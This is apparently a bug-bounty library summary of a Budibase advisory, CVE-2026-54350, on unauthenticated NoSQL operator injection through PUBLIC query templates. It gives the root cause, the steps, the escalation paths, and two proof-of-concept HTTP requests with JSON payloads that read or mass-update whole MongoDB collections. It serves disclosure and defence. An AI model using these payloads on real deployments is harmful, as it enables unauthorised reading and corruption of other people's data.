# Budibase has nonymous NoSQL operator injection via published-app query templates

Unauthenticated JSON injection in Budibase PUBLIC query templates lets anyone read or modify every document in backing MongoDB/CouchDB/Elasticsearch collections.

- Payout: Research
- Severity: critical
- Program: Budibase
- Found by: kah-ja
- Disclosed: 2026-06-23
- CVE: CVE-2026-54350
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8qv3-p479-cj62
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8qv3-p479-cj62
- Tags: area:web3 domain:api impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:nosqli

**Target:** POST /api/v2/queries/:queryId query-template endpoint
**Root cause:** enrichContext substitutes raw parameter values into the JSON query body with noEscaping and JSON.parses it, while validateQueryInputs only blocks Handlebars markers and never escapes JSON metacharacters, so injected quotes/keys become attacker-controlled filter operators.
**Steps:**
1. Builder creates MongoDB query `GetUserByName` with body `{ "name": "{{ name }}" }`, sets role PUBLIC, publishes app.
2. Anonymous client sends `POST /api/v2/queries/<read-queryId>` with header `x-budibase-app-id: <published-appId>` and body `{"parameters":{"name":"x\",\"name\":{\"$exists\":true},\"$comment\":\"audit"}}`.
3. Injected closing quote and `$exists` key override the builder filter; `collection.find()` returns all documents including secrets.
4. For write: publish PUBLIC `updateMany` query with filter `{ "name": "{{ name }}" }` and `$set` body, send same inject pattern to widen filter to full collection.
**How found:** Code review of the query enrichment path: noticed JSON leg uses noEscaping substitution then JSON.parse, contrasted with interpolateSQL which rewrites bindings to positional placeholders, and observed validateQueryInputs only checks Handlebars markers.
**Exploitation:** No session or CSRF needed; only the public app-id header from the published-app URL. The injected JSON fragment closes the string and adds `$exists:true` plus `$comment`, replacing the intended equality filter so find returns every document and updateMany matches/modifies the entire collection.
**Escalation:** Same primitive extends to delete/aggregate queries and to CouchDB, Elasticsearch, DynamoDB-PartiQL and REST JSON bodies; SQL datasources are bind-parameterised and unaffected.
**Insight:** When a low-code platform templates JSON query bodies by string substitution, duplicate JSON keys let an attacker override builder-supplied keys; check whether the SQL path is bind-parameterised while the NoSQL/JSON path is not, and whether PUBLIC-role queries skip auth and CSRF.

## Proof of concept (copied exactly from the original report)

**Anonymous read query injection payload**

```
POST /api/v2/queries/<read-queryId> HTTP/1.1
Host: <budibase-host>
x-budibase-app-id: <published-appId>
Content-Type: application/json

{"parameters":{"name":"x\",\"name\":{\"$exists\":true},\"$comment\":\"audit"}}
```

**Anonymous updateMany injection payload**

```
POST /api/v2/queries/<updateMany-queryId> HTTP/1.1
Host: <budibase-host>
x-budibase-app-id: <published-appId>
Content-Type: application/json

{"parameters":{"name":"x\",\"name\":{\"$exists\":true},\"$comment\":\"esc"}}
```

